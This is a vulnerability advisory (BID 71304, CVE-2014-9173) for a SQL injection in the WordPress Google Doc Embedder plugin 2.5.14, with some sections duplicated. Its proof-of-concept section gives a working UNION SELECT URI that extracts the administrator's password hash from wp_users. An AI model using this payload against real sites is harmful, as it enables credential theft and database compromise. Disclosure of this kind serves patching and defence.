WordPress Google Doc Embedder Plugin 'google-document-embedder\view.php' SQL Injection Vulnerability
BID:71304
Info
WordPress Google Doc Embedder Plugin 'google-document-embedder\view.php' SQL Injection Vulnerability
| Bugtraq ID: | 71304 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-9173 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 11 2014 12:00AM |
| Updated: | Dec 05 2014 12:57AM |
| Credit: | Kacper Szurek |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
WordPress Google Doc Embedder Plugin 'google-document-embedder\view.php' SQL Injection Vulnerability
The Google Doc Embedder Plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Google Doc Embedder Plugin 2.5.14 is vulnerable; other versions may also be affected.
The Google Doc Embedder Plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Google Doc Embedder Plugin 2.5.14 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Google Doc Embedder Plugin 'google-document-embedder\view.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI available:
http://www.example.com /wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1
Attackers can use a browser to exploit this issue.
The following example URI available:
http://www.example.com /wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1
Solution / Fix
WordPress Google Doc Embedder Plugin 'google-document-embedder\view.php' SQL Injection Vulnerability
Solution:
Reportedly the issue is fixed, however Symantec has not confirmed this. Please contact the vendor for more information.
Solution:
Reportedly the issue is fixed, however Symantec has not confirmed this. Please contact the vendor for more information.
References
WordPress Google Doc Embedder Plugin 'google-document-embedder\view.php' SQL Injection Vulnerability
References:
References: